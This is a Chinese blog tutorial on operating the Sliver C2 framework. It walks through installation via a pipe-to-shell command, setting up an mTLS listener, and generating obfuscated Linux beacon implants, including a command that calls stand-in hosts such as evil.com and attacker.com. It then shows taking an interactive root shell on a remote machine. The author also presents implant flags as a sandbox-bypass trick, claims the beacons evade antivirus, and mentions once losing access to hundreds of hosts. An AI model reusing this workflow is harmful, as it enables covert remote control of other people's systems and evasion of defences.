首页 > 其他分享 >红队C2(sliver)实战

红队C2(sliver)实战

时间:2024-04-10 11:12:11浏览次数:34  
标签:REFLECTION FIT -- xxx mtls C2 红队 sliver

使用sliver已经有一年多,因为cs对linux有天生的不兼容,许多功能无法使用,所有笔者找了一款可以平替cs的红队C2。在经过长时间的使用sliver,决定写一篇关于sliver的文章。

先附几张使用截图。

0x1安装

推荐使用Debian11+ 。有能力直接看官方文档,跳过本章。

这是项目的官方地址https://github.com/BishopFox/sliver

先安装mingw-w64

apt install git mingw-w64
curl https://sliver.sh/install|sudo bash

记得给权限。

如果遇到下列报错

gpg: directory '/root/.gnupg' created
gpg: keybox '/root/.gnupg/pubring.kbx' created
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key 7DF912404449039C: public key "Sliver <[email protected]>" imported
gpg: error running '/usr/bin/gpg-agent': probably not installed
gpg: failed to start agent '/usr/bin/gpg-agent': Configuration error
gpg: can't connect to the agent: Configuration error
gpg: Total number processed: 1
gpg: imported: 1

得先安装gnupg-agent

apt install gnupg-agent

类似CS,sliver支持多人模式,这里不过多介绍。

安装完成之后是这个样子,可以直接sliver启动。当然也可以去官方下载二进制文件直接启动,但是我推荐脚本安装。

图片

0x2生成木马

这里有两种模式。一种是session模式 ,一次使用,退出或者断连后无法回连。笔者在第一次使用的时候就是使用了这个模式导致服务器重启之后,丢了几百台权限,因为过于垃圾,这里不介绍这个模式。另外一种就是beacon,笔者强烈推荐,直接免杀。

sliver还支持一个木马同时多个协议上线。

generate --os linux --mtls example.com,domain.com --http bar1.evil.com,bar2.attacker.com --dns baz.bishopfox.com

比如上面这个命令生成的木马,会以轮播循环的形式对3种协议进行通信。

图片

sliver > generate 

[!] Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot ##支持多种协议上线,笔者喜欢第一种mtls
sliver > mtls -l 60001 ##首先mtls -60001 开启一个监听端口

[*] Starting mTLS listener ...

[*] Successfully started job #1

sliver > jobs ##查看当前监听端口

ID Name Protocol Port Stage Profile
==== ====== ========== ======= ===============
1 mtls tcp 60001
sliver > generate --mtls xxx.xxx.store:60001 --os linux --max-errors 99999 beacon 
##生成beacon

[*] Generating new linux/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 2m25s
[*] Implant saved to /root/FIT_REFLECTION ##存放路径

0x3上线

直接看图比较容易理解。

图片

sliver (FIT_REFLECTION) > beacons 

ID Name Tasks Transport Remote Address Hostname Username Operating System Locale Last Check-In Next Check-In
========== ================ ======= =========== ====================== =========== ========== ================== ======== ========================================== ==========================================
ac0261bd FIT_REFLECTION 0/1 mtls 104.xxx.xxx.xxx:34194 root linux/amd64 en-US Thu Sep 21 02:58:01 PDT 2023 (5m41s ago) Thu Sep 21 02:59:04 PDT 2023 (4m38s ago)
a954c643 FIT_REFLECTION 0/0 mtls 104.xxx.xxx.xxx:51690 root linux/amd64 en-US Thu Sep 21 03:03:32 PDT 2023 (10s ago) Thu Sep 21 03:04:55 PDT 2023 (in 1m13s)

sliver (FIT_REFLECTION) > beacons

ID Name Tasks Transport Remote Address Hostname Username Operating System Locale Last Check-In Next Check-In
========== ================ ======= =========== ====================== =========== ========== ================== ======== ========================================== ==========================================
ac0261bd FIT_REFLECTION 0/1 mtls 104.xxx.xxx.xxx:34194 root linux/amd64 en-US Thu Sep 21 02:58:01 PDT 2023 (5m46s ago) Thu Sep 21 02:59:04 PDT 2023 (4m43s ago)
a954c643 FIT_REFLECTION 0/0 mtls 104.xxx.xxx.xxx:51690 root linux/amd64 en-US Thu Sep 21 03:03:32 PDT 2023 (15s ago) Thu Sep 21 03:04:55 PDT 2023 (in 1m8s)

sliver (FIT_REFLECTION) > use a954c643-052d-4b8d-be3e-b9b58803ddec

[*] Active beacon FIT_REFLECTION (a954c643-052d-4b8d-be3e-b9b58803ddec)

sliver (FIT_REFLECTION) > interactive

[*] Using beacon's active C2 endpoint: mtls://xxx.xxx.xxx:60001
[*] Tasked beacon FIT_REFLECTION (4fce7853)

[*] Session a7693931 FIT_REFLECTION - 104.xxx.xxx.xxx:32808 () - linux/amd64 - Thu, 21 Sep 2023 03:04:56 PDT

sliver (FIT_REFLECTION) > sessions

ID Name Transport Remote Address Hostname Username Operating System Locale Last Message Health
========== ================ =========== ====================== =========== ========== ================== ======== ======================================== =========
a7693931 FIT_REFLECTION mtls xxx.xxx.xxx:32808 root linux/amd64 en-US Thu Sep 21 03:04:56 PDT 2023 (20s ago) [ALIVE]

sliver (FIT_REFLECTION) > use a7693931-b628-48d8-8614-b08e0c6e8c88

[*] Active session FIT_REFLECTION (a7693931-b628-48d8-8614-b08e0c6e8c88)

sliver (FIT_REFLECTION) > shell

? This action is bad OPSEC, are you an adult? Yes

[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...

[*] Started remote shell with pid 8907

root@xxx:~#

0x4总结

其实在写这篇文章的时候,意外发现一个过沙箱的思路,

-w, --limit-datetime string:限制在指定日期时间之前执行
-x, --limit-domainjoined:限制在域加入的计算机上执行
-F, --limit-fileexists string:限制在具有文件系统中的指定文件的主机上执行
-z, --limit-hostname string:限制在指定的主机名上执行
-L, --limit-locale string:限制在与此区域设置匹配的主机上执行
-y, --limit-username string:限制在指定的用户名上执行

这是beacon支持的参数,这不就是配合免杀妥妥的自带绕过沙箱的功能么?大家可以参考。笔者觉得sliver对比cs的优势在于,沙箱绕过,多种协议并存通信,同时也支持DLL,EXE,等三大主流系统,并且隐蔽性比cs好太多。其实这个还可以一键迁移进程内存加载shellcode,这里先不讨论。

 

标签:REFLECTION,FIT,--,xxx,mtls,C2,红队,sliver
From: https://www.cnblogs.com/websec80/p/18125612

相关文章

  • VK2C24抗干扰/抗噪/高稳定性LCD屏显示驱动段码屏IC
    VK2C24是一个点阵式存储映射的LCD驱动器,可支持最大288点(72SEGx4COM)或者最大544点(68SEGx8COM)或者最大960点(60SEGx16COM)的LCD屏。单片机可通过I2C接口配置显示参数和读写显示数据,也可通过指令进入省电模式。其高抗干扰,低功耗的特性适用于水电气表以及工控仪表类产品。L23+01特点:•......
  • 超抗干扰LCD液晶段码驱动芯片VK2C23A/B 适用于三相电表,导轨电表,传感器等产品
    VK2C23是一个点阵式存储映射的LCD驱动器,可支持最大224点(56SEGx4COM)或者最大416点(52SEGx8COM)的LCD屏。单片机可通过I2C接口配置显示参数和读写显示数据,也可通过指令进入省电模式。其高抗干扰,低功耗的特性适用于水电气表以及工控仪表类产品。L23+01特点:•工作电压2.4-5.5V•......
  • 题解:P10234 [yLCPC2024] B. 找机厅
    题意简述给你一个长\(n\)宽\(m\)的\(01\)迷宫,从\((1,1)\)开始要走到\((n,m)\)。如果能走那么输出最短路和路径(路径用\(LRUD\)表示),否则输出\(-1\)。有\(t\)组数据。如果当前格子是\(0\)那么你只能走到\(1\)的格子,反之亦然。思路考虑使用\(BFS\),每次走......
  • starganvc2变声器项目实战及其源码解读
    1.数据与项目文件解读        数据文件目录如下所示,需要注意的是,我们并不能直接对声音进行建模,而需要对声音数据进行预处理,从而得到一系列数值特征,然后对特征进行建模,特征数据存储到processed文件夹中         2.环境配置        pipinstall li......
  • 抗噪/防干扰LCD显示液晶段码驱动VK2C21A/AA/B/BA/C/D适用于燃气表,瓦斯表,煤气表,温控器
    产品品牌:VINKA/永嘉微/永嘉微电产品型号:VK2C21A/B/C/D/VK2C21AA/VK2C21BA封装形式:SOP28/24/20、NSOP16、SSOP28、SSOP24(新增封装)产品年份:新年份原厂直销,样品免费,技术支持,价格优势。概述:VK2C21是一个点阵式存储映射的LCD驱动器,可支持最大80点(20SEGx4COM)或者最大128点(16SEGx8......
  • 低功耗抗噪/高抗干扰,LCD显示驱动控制电路(IC)-VK2C23A/B LQFP48/64 替代市面上16C23,56*4
    VK2C23是一个点阵式存储映射的LCD驱动器,可支持最大224点(56SEGx4COM)或者最大416点(52SEGx8COM)的LCD屏。单片机可通过I2C接口配置显示参数和读写显示数据,也可通过指令进入省电模式。其高抗干扰,低功耗的特性适用于水电气表以及工控仪表类产品。L23+01特点:•工作电压2.4-5.5V•内......
  • Miktrotron MC2588相机配置
    MC2588大面阵相机MC2588测试CoaXPress测试该相机在Hello-FPGACoaXPress系统中工作状态良好。WIN10PCIeGen3x8KU040FPGAHello-FPGA2.0FMCHOSTCard......
  • [ABC254D] Together Square--分解质因数。
    [ABC254D]TogetherSquare-洛谷 #include<bits/stdc++.h>#defineintlonglong//(有超时风险)#definePIIpair<int,int>#defineendl'\n'usingnamespacestd;constintN=2e5+10,M=1e3+10;inta[N],pre[N];signedmain(){std::io......
  • LTC2950两节锂电池纯硬件一键开关机电路
        LTC2950-2的EN漏极开路输出是专为对一个外部功率PFET进行接通/关断操作而设计的。这使得用户能够通过变换PB引脚电平来实现电源(或电池)与其负载的连接/断接·下图示出了采用LTC2950-2来控制两节锂离子电池的应用。INT和KIL引脚通过一个电阻分压器与PFET......
  • 适用于智能电表、胎压监测、汽机车仪表、计量插座的抗噪/防干扰液晶驱动芯片VK2C23A/B
    VK2C23A/B概述:      VK2C23A/B是一个点阵式存储映射的LCD驱动器,可支持最大224点(56SEGx4COM)或者最大416点(52SEGx8COM)的LCD屏。单片机可通过I2C接口配置显示参数和读写显示数据,也可通过指令进入省电模式。其高抗干扰,低功耗的特性适用于水电气表以及工控仪表类产品。特点:•......